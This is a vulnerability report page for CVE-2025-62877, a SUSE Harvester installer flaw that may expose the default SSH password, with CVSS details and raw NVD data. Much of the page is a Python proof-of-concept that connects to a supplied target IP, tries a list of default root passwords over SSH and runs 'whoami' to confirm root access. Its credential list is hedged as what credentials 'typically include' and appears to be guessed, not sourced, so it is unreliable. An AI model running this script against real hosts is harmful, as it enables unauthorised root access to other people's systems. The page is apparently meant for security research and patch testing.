Security Vulnerability Report
中文
CVE-2025-62877 CVSS 9.8 CRITICAL

CVE-2025-62877

Published: 2026-01-08 13:15:42
Last Modified: 2026-04-15 00:35:42

Description

Projects using the SUSE Virtualization (Harvester) environment may expose the OS default ssh login password  if they are using the 1.5.x or 1.6.x interactive installer to either create a new cluster or add new hosts to an existing cluster. The environment is not affected if the PXE boot mechanism is utilized along with the Harvester configuration setup.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SUSE Harvester 1.5.x (所有版本)
SUSE Harvester 1.6.x (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-62877 PoC - SUSE Harvester Default SSH Password This PoC demonstrates the vulnerability where Harvester interactive installer exposes default SSH credentials. Note: This is for educational and authorized testing purposes only. """ import socket import paramiko import sys from paramiko.ssh_exception import SSHException, AuthenticationException def check_ssh_default_credentials(target_ip, port=22): """ Attempt to connect to SSH using default Harvester credentials. Default credentials for Harvester installer typically include: - root / harvester """ default_credentials = [ ('root', 'harvester'), ('root', 'linux'), ('root', 'password'), ('ubuntu', 'ubuntu'), ] print(f"[*] Target: {target_ip}:{port}") print(f"[*] Testing default SSH credentials for Harvester...") # Check if SSH port is open sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: result = sock.connect_ex((target_ip, port)) if result != 0: print(f"[-] SSH port {port} is not open on {target_ip}") return False print(f"[+] SSH port {port} is open") except Exception as e: print(f"[-] Error connecting to {target_ip}: {e}") return False finally: sock.close() # Try each default credential for username, password in default_credentials: print(f"[*] Trying credentials: {username}/{password}") try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect( target_ip, port=port, username=username, password=password, timeout=10, allow_agent=False, look_for_keys=False ) print(f"[+] SUCCESS! Valid credentials found: {username}/{password}") # Execute a test command stdin, stdout, stderr = ssh.exec_command('whoami') output = stdout.read().decode().strip() print(f"[+] Current user: {output}") # Check if running as root if output == 'root': print(f"[!] VULNERABLE - Full root access obtained!") ssh.close() return True except AuthenticationException: print(f"[-] Failed with credentials: {username}/{password}") except SSHException as e: print(f"[-] SSH error: {e}") except Exception as e: print(f"[-] Error: {e}") print(f"[-] No valid default credentials found") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve_2025_62877_poc.py <target_ip>") print("Example: python3 cve_2025_62877_poc.py 192.168.1.100") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 22 check_ssh_default_credentials(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62877", "sourceIdentifier": "[email protected]", "published": "2026-01-08T13:15:41.923", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Projects using the SUSE Virtualization (Harvester) environment may expose the OS default ssh login password  if they are using the 1.5.x or 1.6.x interactive installer to either create a new cluster or add new hosts to an existing cluster. The environment is not affected if the PXE boot mechanism is utilized along with the Harvester configuration setup."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1188"}]}], "references": [{"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2025-62877", "source": "[email protected]"}, {"url": "https://github.com/harvester/harvester/security/advisories/GHSA-6g8q-hp2j-gvwv", "source": "[email protected]"}]}}